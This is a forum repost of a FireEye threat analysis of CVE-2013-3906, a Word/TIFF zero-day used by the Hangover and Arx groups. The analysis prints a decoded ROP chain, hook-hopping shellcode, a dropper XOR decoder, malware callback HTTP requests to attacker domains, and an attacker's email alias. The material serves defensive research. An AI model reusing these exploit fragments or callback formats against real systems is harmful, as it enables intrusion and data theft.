Security-X

Forum Security-X => News => Discussion démarrée par: igor51 le février 11, 2018, 04:00:48

Titre: [FireEye]The Dual Use Exploit: CVE-2013-3906 Used in Both Targeted Attacks and Crimeware Campaigns
Posté par: igor51 le février 11, 2018, 04:00:48
The Dual Use Exploit: CVE-2013-3906 Used in Both Targeted Attacks and
Crimeware Campaigns


A zero-day
  vulnerability
was recently discovered that exploits a Microsoft
  graphics component using malicious Word documents as the initial
  infection vector. Microsoft has   href="http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx">confirmed
  that this exploit has been used in “attacks observed are very limited
  and carefully carried out against selected computers, largely in the
  Middle East and South Asia.”


 

Our analysis has revealed a connection between these attacks and
  those previously   href="http://www.welivesecurity.com/2013/05/16/targeted-threat-pakistan-india/">documented
  in
          href="http://normanshark.com/pdf/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure-23_FINAL_052013.pdf">Operation
  Hangover
, which adds India and Pakistan into the mix of
  targets. Information obtained from a command-and-control server (CnC)
  used in recent attacks leveraging this zero-day exploit revealed that
  the Hangover group, believed to operate from India, has compromised 78
  computers, 47 percent of those in Pakistan.


 

However, we have found that another group also has access to this
  exploit and is using it to deliver the     href="http://botnetlegalnotice.com/citadel/files/Patel_Decl_Ex20.pdf">Citadel
  Trojan malware. This group, which we call the Arx group, may have
  had access to the exploit before the Hangover group did. Information
  obtained from CnCs operated by the Arx group revealed that 619 targets
  (4024 unique IP addresses) have been compromised. The majority of the
  targets are in India (63 percent) and Pakistan (19 percent).


 

Exploit Analysis


 

The CVE-2013-3906 vulnerability is a heap overflow that occurs when
  processing TIFF image files with user-controlled allocation and copy
  size. A function pointer is overwritten and later called to execute
  code. Exploiting this vulnerability requires the attacker to be able
  to control the memory layout — which the Hangover and Arx groups did
  by using a new ActiveX heap-spray technique.


 


 
    Different ActiveX Heap-spray Method


 

Judging from samples in the wild that we analyzed, both groups
  sprayed the heap using the new ActiveX method, but did so slightly
  differently. The Arx group used a slightly more clever approach to
  spray the same amount of memory using fewer objects in their exploit document.


 


 
    Different ROP Payload


 

The Hangover group’s exploit mainly targets Windows XP because
  Microsoft Office offers NO Data Execution Prevention (DEP) protection
  by default, and the exploit doesn’t use return-oriented programming (ROP).


 

The Arx group, by contrast, uses ROP gadgets from the
  MSCOMCTL.DLL. In our tests, the ROP payload works for DLL version 6.1.98.34.


 

Decoded below are the various ROP chains used in the Arx group’s exploits:


 

Stack pivot:


 


  275b4f3f 94 xchg eax,esp


 


  275b4f40 0100 add dword ptr [eax],eax


 


  275b4f42 5e pop esi


 


  275b4f43 5d pop ebp


 


  275b4f44 c21c00 ret 1Ch


 

Pop VirtualAlloc IAT from the new stack:


 

2761bdea 58 pop eax


 

2761bdeb c3 ret


 

Calling virtualAlloc to allocate RWX memory at 0x20000000:


 


  275a58fe ff20 jmp
    dword ptr [eax] ds:0023:275811c8={kernel32!VirtualAlloc (7c809af1)}


 

Pop the length of the shell code:


 


  27594a33 59 pop ecx


 

27594a34 c3 ret


 

Pop destination or source location for a memory copy:


 


  2759a93f 5f pop edi


 

2759a940 5e pop esi


 

2759a941 c3 ret


 

Copy the shell code to 0x20000000:


 


  275ceb04 f3a4 rep
    movs byte ptr es:[edi],byte ptr [esi]


 

275ceb06 33c0 xor eax,eax


 

275ceb08 eb24 jmp MSCOMCTL!DllGetClassObject+0x3860 (275ceb2e)


 

After the copy, it returns to 0x20000000 to execute the shell code:


 


  275ceb2f 5f pop edi


 

275ceb2f 5e pop esi


 

275ceb30 5b pop ebx


 

275ceb31 5d pop ebp


 

275ceb32 c3 ret


 


 
    Different Shellcode


 

The Hangover group is using the URL Download shell code, but with a
  hook-hopping technique:


 


   


 


  ;; Check if target has been hooked with an absolute call instruction


 


  001C205F cmp byte ptr [eax],0xE8


 


  001C2062 jz 001C2073


 


  ;; Check if target has been hooked with an absolute jump instruction


 


  001C2064 cmp byte ptr [eax],0xE9


 


  001C2067 jz 001C2073


 


  ;; Check if target has been hooked with a software breakpoint


 


  001C2069 cmp byte ptr [eax],0xCC


 


  001C206C jz 001C2073


 


  001C206E cmp byte ptr [eax],0xEB


 


  001C2071 jnz 001C2084


 


  001C2073 cmp dword ptr [eax+0x5],0x90909090


 


  001C207A jz 001C2084


 


  001C207C mov edi,edi


 


  001C207E push ebp


 


  001C207F mov ebp,esp


 


  001C2081 lea eax,[eax+0x5]


 


  001C2084 jmp eax


 

The hook-hopping technique was enabled for all API calls in this
  shell code, such as LoadlibraryA, GetTempPathA,
  URLDownloadToFileA, ShellExecuteA, and ExitProcess.


 

The Arx group’s shell code uses the
  NTAccessCheckAndAuditAlarm system call to search memory for the
  dropper, then calls loadLibrary to load the dropper. 
  NTAccessCheckAndAuditAlarm is one safe way to search memory to
  avoid access violations when accessing unmapped memory addresses. Upon
  finding the right memory location, the dropper XOR method is
  different, which is not easy to decode with brute force.


 


  B5 00 9B B1 B5 00 9B B1 3A 9E 00 BA 04 00 77 82


 

The first two DWORDs are the signature used to locate the binary by
  the NTAccessCheckAndAuditAlarm system call.


 


  0x3A is the first XOR key and 0x9E is the
  second XOR key. 0x0004BA00 is the dropper file’s length.


 

The XOR algorithm is described below. The algorithm takes two keys.
  The first key is XORed against the ciphertext, and the second key is
  added to the first key, after each XOR operation:


 


  def xor(a, key, key2):


 


  x = bytearray(a)


 


  for i in range(len(x)):


 


  x[i] ^= key&0xff


 


  key += key2


 


  return x


 


  The Hangover Group


 

As previously   href="http://normanshark.com/pdf/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure-23_FINAL_052013.pdf">documented,
  “Operation Hangover” was a multi-year series of coordinated campaigns
  targeting systems around the world with a primary focus on
  organizations in Pakistan. “Operation Hangover” was uncovered, after
  the attackers responsible for this campaign targeted Telenor, a major
  Norwegian telecommunications provider. The Hangover group is believed
  to have been operating as early as 2009.


 


 
    Cluster and Protocol Analysis


 

The related samples were uploaded to VirusTotal between 2013-10-23
  and 2013-10-31. This provides an indication of when CVE-2013-3906 was
  first used by the Hangover group. The EXIF data contained within the
  malicious Word documents used by the group, which is likely an
  artifact of the builder, contain these dates:


 
 

As such, it appears that the Hangover group acquired the exploit in
  October 2013. Elements of the CnC infrastructure were already place,
  suggesting that Hangover was using it before acquiring this zero-day exploit.


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse1.png"
      alt="dualuse1"
      class="alignnone size-full wp-image-3709 landscape-lg" width="900" height="349" />


 

All but one of the samples can be linked through “myflatnet.com” —
  the website from which malware files are downloaded after initial
  exploitation. As for the exception, we believe that this cluster is
  probably related because the EXIF data in the malicious Word document
  aligns with the other Hangover samples.


 

The malware files that are downloaded after exploitation have three
  different callbacks. The first, which is the “classic” Hangover HTTP
  callback, follows this format:


 


  GET
    /logitech/rt.php?cn=[HOSTNAME]@[USERNAME]&str=&file=no HTTP/1.1


 


  User-Agent: WinInetGet/0.1


 


  Host: krickmart.com


 


  Connection: Keep-Alive


 


  Cache-Control: no-cache


 

The second type of callback looks like this:


 


  GET /NewsApp/rssfeed.php?a=[TEXT]&134416 HTTP/1.1


 


  Accept: */*


 


  Accept-Encoding: gzip, deflate


 


  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
    Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
    3.5.21022; InfoPath.2)


 


  Host: appworldstores.com


 


  Connection: Keep-Alive


 

The third type of callback is:


 


  GET
    /amd/psp.php?p=1&g=[TEXT]&v=RE[]&s=MicrosoftWindowsXPProfessional-32&t=[HOSTNAME]-[USERNAME]&r=[0]&X9S8T3 HTTP/1.1


 


  Accept: */*


 


  Accept-Encoding: gzip, deflate


 


  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
    Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
    3.5.21022; InfoPath.2)


 


  Host: lampur.com


 


  Connection: Keep-Alive


 


 
    CnC Analysis


 

For each compromised system that checked-in to the CnC server, a
  directory was created on the server in the format of “<machine
  name>@<username>.” Within each directory, three files are
  created: Info.txt, Result.txt, and index.html.  The index.html was a
  simple html file listing the directory contents on the server. 
  Info.txt detailed the target's machine name, username, IP address, and
  the antivirus product installed, if any:


 


  Info.txt Output


 


  User : machinename@username


 


  IP :  <target IP address>


 


  AV : <Antivirus product installed on target machine>


 

It appears that when the target systems successfully checked in to
  the CnC server, the server could push down an executable file to be
  executed on the targeted system. The result of that action was
  recorded in Result.txt.


 


  Result.txt Output


 


  Result : svchost.exe======failed


 


  Result : svchoste.exe======sucessfully


 


  Result : taskngr.exe======sucessfully


 


  Result : lgfxsrvc.exe======successfully


 

(Note: “successfully” was spelled properly in the last entry, but
  not in the preceding entries.)


 

We obtained a number of these second-stage executables listed in the
  Result.txt output from a Hangover-linked CnC server.  These
  executables included a variety of tools including a reverse shell
  backdoor, a keylogger, a screenshot grabber, and a document
  exfiltration tool.


 

The domains and IP addresses associated with these second stage
  tools are:


 
 

These second-stage tools are discussed in more detail in here.


 


 
    Target Analysis


 

The data we obtained from one of the Hangover CnC servers reveals 78
  targets (based on unique IP addresses). But to be clear: this list
  likely includes a variety of researchers who were investigating the
  malware.  A total of 47 percent of the IP addresses were in ranges
  assigned to Pakistan. This is consistent with the known targeting
  preferences of the Hangover group.


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse2.png"
      alt="dualuse2"
      class="alignnone size-full wp-image-3711 landscape-med"
      width="646" height="391" />


 


  The Arx Group


 

During our investigation, we found another set of samples that were
  also exploiting this same zero-day vulnerability. These samples drop
  the Citadel Trojan. Citadel is a variant of the Zeus Trojan that
  emerged in 2012 after the Zeus source code was leaked. Citadel is
  designed to allow cybercriminals to steal banking information and
  account credentials.


 


 
    Malware Analysis


 

Malware linked to the Arx group is usually sent out in “SWIFT
  Payment” emails. These emails are common in spam campaigns and
  typically drop banking Trojans and other crimeware.


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse3.png"
      alt="dualuse3"
      class="alignnone size-full wp-image-3713 landscape-med"
      width="568" height="544" />


 

After opening the file, a decoy document is shown to the user. (In
  this example, the attackers made a mistake and confused the dropped
  executable with the decoy document.)


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse4.png"
      alt="dualuse4"
      class="alignnone size-full wp-image-3715 landscape-med"
      width="566" height="402" />


 

Upon further analysis, we found that the malware payload within
  these samples is the Citadel Trojan.  The samples were uploaded to
  VirusTotal between 2013-09-26 and 2013-10-31, which provides an
  indication of when this group obtained the zero-day exploit. The EXIF
  data contained within the malicious Word documents, which is likely an
  artifact of the builder, contain the following dates:


 
 

Other decoy documents used by the Arx group:


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse5.png"
      alt="dualuse5"
      class="alignnone size-full wp-image-3716 landscape-med"
      width="580" height="411" />


 

Possible testing:


 

The  CnC infrastructure for these Citadel samples cluster into three
  groups, but they employ common decoy documents (the document opened
  after exploitation).


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse7.png"
      alt="dualuse7"
      class="alignnone size-full wp-image-3718 portrait-lg" width="900" height="1185" />


 

Next, we focused on the cluster of CnC servers registered by
  “autoseaman@yahoo.com”. This email address has also been used on
  underground forums by someone interested in purchasing compromised
  SMTP servers.


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse8.png"
      alt="dualuse8"
      class="alignnone size-full wp-image-3719 landscape-lg" width="900" height="477" />


 

The individual using this email address may also use the alias “cutedguy247.”


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse9.png"
      alt="dualuse9"
      class="alignnone size-full wp-image-3720 landscape-lg" width="900" height="134" />


 


 
    Target Analysis


 

Based on information we retrieved from two CnC servers, the Citadel
  botnet operated by “autoseaman@yahoo.com” has 619 targets (based on
  the unique ID assigned by the malware) that checked in with 4024 IP
    addresses. The compromised systems begin calling back to the
  first CnC server on October 3rd, 2013, while the earliest
  callback to the second CnC server is Oct. 4, 2013. Using the
  geolocation of the IP addresses, we observed that the majority of the
  targets are located in India (63 percent ) and Pakistan (19 percent).


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse6.png"
      alt="dualuse6"
      class="alignnone size-full wp-image-3717 landscape-med"
      width="588" height="403" />


 


        src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/dualuse10.png"
      alt="dualuse10"
      class="alignnone size-full wp-image-3721 landscape-med"
      width="645" height="403" />


 


  Conclusion


 

The use of this zero-day exploit (CVE-2013-3906) is more
  widespread that previously believed. Two different groups are using
  this exploit: Hangover and Arx. Hangover has been previously connected
  with a targeted malware campaign, and the Arx group is operating a
  Citadel-based botnet for organized crime.


 

Based on this analysis, the Arx group appears to have had access to
  this zero-day exploit before the Hangover group.


 

Although we have not been able to connect the activities of the
  Hangover and Arx groups, they share one interesting feature: an
  India-Pakistan nexus.


Source: The Dual Use Exploit: CVE-2013-3906 Used in Both Targeted Attacks and
Crimeware Campaigns (http://)